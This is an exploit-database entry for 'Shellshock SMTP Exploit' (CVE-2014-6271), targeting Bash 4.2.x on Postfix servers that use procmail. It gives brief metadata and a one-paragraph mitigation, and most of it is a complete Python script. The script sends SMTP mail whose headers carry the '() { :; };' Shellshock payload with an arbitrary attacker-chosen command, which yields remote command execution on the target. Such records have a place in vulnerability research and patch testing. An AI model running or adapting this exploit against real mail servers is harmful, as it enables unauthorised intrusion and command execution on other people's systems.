header-logo
Suggest Exploit
vendor:
Bash
by:
fattymcwopr
7,5
CVSS
HIGH
Shellshock
78
CWE
Product Name: Bash
Affected Version From: 4.2.x
Affected Version To: 4.2.48
Patch Exists: YES
Related CWE: 2014-6271
CPE: gnu.org/gnu/bash/
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: Debian 7
2014

Shellshock SMTP Exploit

This exploit is used to execute arbitrary commands on a vulnerable SMTP server using the Shellshock vulnerability. The exploit is tested on Debian 7 (postfix smtp server w/procmail). The vulnerable version is 4.2.x < 4.2.48.

Mitigation:

The best way to mitigate the Shellshock vulnerability is to patch the vulnerable version of Bash. Additionally, system administrators should also consider disabling CGI scripts and other services that use Bash.
Source

Exploit-DB raw data:

#!/bin/python
# Exploit Title:  Shellshock SMTP Exploit
# Date: 10/3/2014
# Exploit Author: fattymcwopr
# Vendor Homepage: gnu.org
# Software Link: http://ftp.gnu.org/gnu/bash/
# Version: 4.2.x < 4.2.48
# Tested on: Debian 7 (postfix smtp server w/procmail)
# CVE : 2014-6271

from socket import *
import sys

def usage():
    print "shellshock_smtp.py <target> <command>"

argc = len(sys.argv)
if(argc < 3 or argc > 3):
    usage()
    sys.exit(0)

rport = 25
rhost = sys.argv[1]
cmd = sys.argv[2]

headers = ([
    "To",
    "References",
    "Cc",
    "Bcc",
    "From",
    "Subject",
    "Date",
    "Message-ID",
    "Comments",
    "Keywords",
    "Resent-Date",
    "Resent-From",
    "Resent-Sender"
    ])

s = socket(AF_INET, SOCK_STREAM)
s.connect((rhost, rport))

# banner grab
s.recv(2048*4)

def netFormat(d):
    d += "\n"
    return d.encode('hex').decode('hex')

data = netFormat("mail from:<>")
s.send(data)
s.recv(2048*4)

data = netFormat("rcpt to:<nobody>")
s.send(data)
s.recv(2048*4)

data = netFormat("data")
s.send(data)
s.recv(2048*4)

data = ''
for h in headers:
    data += netFormat(h + ":() { :; };" + cmd)

data += netFormat(cmd)

# <CR><LF>.<CR><LF>
data += "0d0a2e0d0a".decode('hex')

s.send(data)
s.recv(2048*4)

data = netFormat("quit")
s.send(data)
s.recv(2048*4)